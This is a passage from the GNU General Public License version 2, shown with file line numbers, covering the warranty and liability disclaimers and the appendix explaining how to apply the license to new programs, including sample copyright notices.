WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | --------------------------------------------------------------------------------